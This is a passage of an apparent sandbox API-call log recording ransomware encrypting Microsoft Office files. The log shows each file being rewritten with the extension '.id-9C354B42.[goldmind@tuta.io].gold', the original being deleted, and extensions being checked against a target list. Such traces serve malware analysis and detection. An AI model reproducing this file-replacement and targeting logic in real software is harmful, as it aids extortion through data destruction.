[0113.704] SetEndOfFile (hFile=0x3d4) returned 1 [0113.704] CloseHandle (hObject=0x3d4) returned 1 [0113.704] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.704] SetEndOfFile (hFile=0x364) returned 1 [0113.705] CloseHandle (hObject=0x364) returned 1 [0113.705] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCL.ICO.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0113.706] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\docl.ico")) returned 1 [0113.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCL.ICO") returned 62 [0113.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCL.ICO") returned 62 [0113.707] lstrlenW (lpString=".doc") returned 4 [0113.707] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0113.707] lstrlenW (lpString=".docx") returned 5 [0113.707] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0113.707] lstrlenW (lpString=".pdf") returned 4 [0113.707] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0113.707] lstrlenW (lpString=".xls") returned 4 [0113.707] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0113.707] lstrlenW (lpString=".xlsx") returned 5 [0113.707] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0113.707] lstrlenW (lpString=".ppt") returned 4 [0113.707] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0113.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCL.ICO") returned 62 [0113.707] lstrlenW (lpString=".zip") returned 4 [0113.707] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0113.707] lstrlenW (lpString=".rar") returned 4 [0113.707] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0113.707] lstrlenW (lpString=".bz2") returned 4 [0113.707] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0113.707] lstrlenW (lpString=".7z") returned 3 [0113.707] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0113.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCL.ICO") returned 62 [0113.708] lstrlenW (lpString=".dbf") returned 4 [0113.708] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0113.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCL.ICO") returned 62 [0113.708] lstrlenW (lpString=".1cd") returned 4 [0113.708] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0113.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCL.ICO") returned 62 [0113.708] lstrlenW (lpString=".jpg") returned 4 [0113.708] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0113.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCL.ICO") returned 62 [0113.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCL.ICO") returned 62 [0113.708] lstrlenW (lpString=".doc") returned 4 [0113.708] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0113.708] lstrlenW (lpString=".docx") returned 5 [0113.708] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0113.708] lstrlenW (lpString=".pdf") returned 4 [0113.708] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0113.708] lstrlenW (lpString=".xls") returned 4 [0113.708] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0113.708] lstrlenW (lpString=".xlsx") returned 5 [0113.708] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0113.708] lstrlenW (lpString=".ppt") returned 4 [0113.708] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0113.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCL.ICO") returned 62 [0113.708] lstrlenW (lpString=".zip") returned 4 [0113.708] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0113.708] lstrlenW (lpString=".rar") returned 4 [0113.708] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0113.708] lstrlenW (lpString=".bz2") returned 4 [0113.708] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0113.708] lstrlenW (lpString=".7z") returned 3 [0113.708] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0113.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCL.ICO") returned 62 [0113.708] lstrlenW (lpString=".dbf") returned 4 [0113.708] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0113.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCL.ICO") returned 62 [0113.708] lstrlenW (lpString=".1cd") returned 4 [0113.708] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0113.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCL.ICO") returned 62 [0113.708] lstrlenW (lpString=".jpg") returned 4 [0113.708] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0113.709] lstrcmpiW (lpString1=".ICO", lpString2=".gold") returned 1 [0113.709] lstrlenW (lpString="EXITEML.ICO") returned 11 [0113.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEML.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\exiteml.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0113.711] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=1078) returned 1 [0113.711] CloseHandle (hObject=0x364) returned 1 [0113.712] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEML.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\exiteml.ico")) returned 0x20 [0113.712] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEML.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\exiteml.ico.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0113.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEML.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\exiteml.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0113.712] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.712] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEML.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\exiteml.ico.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0113.713] GetLastError () returned 0x0 [0113.713] ReadFile (in: hFile=0x364, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x436, lpOverlapped=0x0) returned 1 [0113.760] WriteFile (in: hFile=0x3d4, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x440, lpOverlapped=0x0) returned 1 [0113.760] ReadFile (in: hFile=0x364, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0113.760] WriteFile (in: hFile=0x3d4, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xea, lpOverlapped=0x0) returned 1 [0113.760] SetEndOfFile (hFile=0x3d4) returned 1 [0113.983] CloseHandle (hObject=0x3d4) returned 1 [0113.983] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.983] SetEndOfFile (hFile=0x364) returned 1 [0114.221] CloseHandle (hObject=0x364) returned 1 [0114.221] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEML.ICO.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0114.254] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEML.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\exiteml.ico")) returned 1 [0114.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEML.ICO") returned 65 [0114.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEML.ICO") returned 65 [0114.255] lstrlenW (lpString=".doc") returned 4 [0114.255] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0114.255] lstrlenW (lpString=".docx") returned 5 [0114.255] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0114.255] lstrlenW (lpString=".pdf") returned 4 [0114.255] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0114.255] lstrlenW (lpString=".xls") returned 4 [0114.255] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0114.255] lstrlenW (lpString=".xlsx") returned 5 [0114.255] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0114.255] lstrlenW (lpString=".ppt") returned 4 [0114.255] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0114.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEML.ICO") returned 65 [0114.255] lstrlenW (lpString=".zip") returned 4 [0114.255] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0114.255] lstrlenW (lpString=".rar") returned 4 [0114.255] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0114.255] lstrlenW (lpString=".bz2") returned 4 [0114.255] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0114.255] lstrlenW (lpString=".7z") returned 3 [0114.255] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0114.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEML.ICO") returned 65 [0114.255] lstrlenW (lpString=".dbf") returned 4 [0114.255] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0114.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEML.ICO") returned 65 [0114.255] lstrlenW (lpString=".1cd") returned 4 [0114.256] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0114.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEML.ICO") returned 65 [0114.256] lstrlenW (lpString=".jpg") returned 4 [0114.256] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0114.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEML.ICO") returned 65 [0114.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEML.ICO") returned 65 [0114.256] lstrlenW (lpString=".doc") returned 4 [0114.256] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0114.256] lstrlenW (lpString=".docx") returned 5 [0114.256] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0114.256] lstrlenW (lpString=".pdf") returned 4 [0114.256] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0114.256] lstrlenW (lpString=".xls") returned 4 [0114.256] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0114.256] lstrlenW (lpString=".xlsx") returned 5 [0114.256] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0114.256] lstrlenW (lpString=".ppt") returned 4 [0114.256] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0114.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEML.ICO") returned 65 [0114.256] lstrlenW (lpString=".zip") returned 4 [0114.256] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0114.256] lstrlenW (lpString=".rar") returned 4 [0114.256] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0114.256] lstrlenW (lpString=".bz2") returned 4 [0114.256] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0114.256] lstrlenW (lpString=".7z") returned 3 [0114.256] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0114.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEML.ICO") returned 65 [0114.256] lstrlenW (lpString=".dbf") returned 4 [0114.256] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0114.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEML.ICO") returned 65 [0114.256] lstrlenW (lpString=".1cd") returned 4 [0114.256] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0114.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEML.ICO") returned 65 [0114.256] lstrlenW (lpString=".jpg") returned 4 [0114.256] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0114.256] lstrcmpiW (lpString1=".ICO", lpString2=".gold") returned 1 [0114.256] lstrlenW (lpString="EXITEMS.ICO") returned 11 [0114.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEMS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\exitems.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0114.258] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=2998) returned 1 [0114.258] CloseHandle (hObject=0x3b8) returned 1 [0114.258] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEMS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\exitems.ico")) returned 0x20 [0114.258] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEMS.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\exitems.ico.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0114.258] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEMS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\exitems.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0114.259] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.259] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.259] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEMS.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\exitems.ico.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0114.261] GetLastError () returned 0x0 [0114.261] ReadFile (in: hFile=0x3b8, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0xbb6, lpOverlapped=0x0) returned 1 [0114.276] WriteFile (in: hFile=0x3d4, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xbc0, lpOverlapped=0x0) returned 1 [0114.277] ReadFile (in: hFile=0x3b8, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0114.277] WriteFile (in: hFile=0x3d4, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xea, lpOverlapped=0x0) returned 1 [0114.277] SetEndOfFile (hFile=0x3d4) returned 1 [0114.277] CloseHandle (hObject=0x3d4) returned 1 [0114.277] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.277] SetEndOfFile (hFile=0x3b8) returned 1 [0114.279] CloseHandle (hObject=0x3b8) returned 1 [0114.279] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEMS.ICO.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0114.299] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEMS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\exitems.ico")) returned 1 [0114.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEMS.ICO") returned 65 [0114.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEMS.ICO") returned 65 [0114.318] lstrlenW (lpString=".doc") returned 4 [0114.318] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0114.318] lstrlenW (lpString=".docx") returned 5 [0114.318] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0114.318] lstrlenW (lpString=".pdf") returned 4 [0114.318] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0114.318] lstrlenW (lpString=".xls") returned 4 [0114.318] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0114.318] lstrlenW (lpString=".xlsx") returned 5 [0114.318] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0114.318] lstrlenW (lpString=".ppt") returned 4 [0114.318] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0114.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEMS.ICO") returned 65 [0114.318] lstrlenW (lpString=".zip") returned 4 [0114.318] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0114.318] lstrlenW (lpString=".rar") returned 4 [0114.318] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0114.318] lstrlenW (lpString=".bz2") returned 4 [0114.318] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0114.318] lstrlenW (lpString=".7z") returned 3 [0114.318] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0114.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEMS.ICO") returned 65 [0114.318] lstrlenW (lpString=".dbf") returned 4 [0114.318] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0114.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEMS.ICO") returned 65 [0114.318] lstrlenW (lpString=".1cd") returned 4 [0114.318] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0114.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEMS.ICO") returned 65 [0114.318] lstrlenW (lpString=".jpg") returned 4 [0114.318] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0114.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEMS.ICO") returned 65 [0114.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEMS.ICO") returned 65 [0114.318] lstrlenW (lpString=".doc") returned 4 [0114.318] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0114.318] lstrlenW (lpString=".docx") returned 5 [0114.318] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0114.318] lstrlenW (lpString=".pdf") returned 4 [0114.318] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0114.318] lstrlenW (lpString=".xls") returned 4 [0114.318] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0114.318] lstrlenW (lpString=".xlsx") returned 5 [0114.318] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0114.318] lstrlenW (lpString=".ppt") returned 4 [0114.318] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0114.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEMS.ICO") returned 65 [0114.318] lstrlenW (lpString=".zip") returned 4 [0114.318] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0114.319] lstrlenW (lpString=".rar") returned 4 [0114.319] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0114.319] lstrlenW (lpString=".bz2") returned 4 [0114.319] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0114.319] lstrlenW (lpString=".7z") returned 3 [0114.319] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0114.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEMS.ICO") returned 65 [0114.319] lstrlenW (lpString=".dbf") returned 4 [0114.319] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0114.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEMS.ICO") returned 65 [0114.319] lstrlenW (lpString=".1cd") returned 4 [0114.319] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0114.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEMS.ICO") returned 65 [0114.319] lstrlenW (lpString=".jpg") returned 4 [0114.319] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0114.319] lstrcmpiW (lpString1=".ICO", lpString2=".gold") returned 1 [0114.319] lstrlenW (lpString="INFOMS.ICO") returned 10 [0114.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\infoms.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0114.320] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=2998) returned 1 [0114.320] CloseHandle (hObject=0x364) returned 1 [0114.320] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\infoms.ico")) returned 0x20 [0114.320] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMS.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\infoms.ico.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0114.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\infoms.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0114.320] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.320] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMS.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\infoms.ico.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0114.323] GetLastError () returned 0x0 [0114.323] ReadFile (in: hFile=0x364, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0xbb6, lpOverlapped=0x0) returned 1 [0114.343] WriteFile (in: hFile=0x3ec, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xbc0, lpOverlapped=0x0) returned 1 [0114.344] ReadFile (in: hFile=0x364, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0114.344] WriteFile (in: hFile=0x3ec, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0114.344] SetEndOfFile (hFile=0x3ec) returned 1 [0114.344] CloseHandle (hObject=0x3ec) returned 1 [0114.344] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.344] SetEndOfFile (hFile=0x364) returned 1 [0114.346] CloseHandle (hObject=0x364) returned 1 [0114.346] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMS.ICO.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0114.417] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\infoms.ico")) returned 1 [0114.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMS.ICO") returned 64 [0114.418] lstrlenW (lpString="C:\\Program Files\\Microsoft 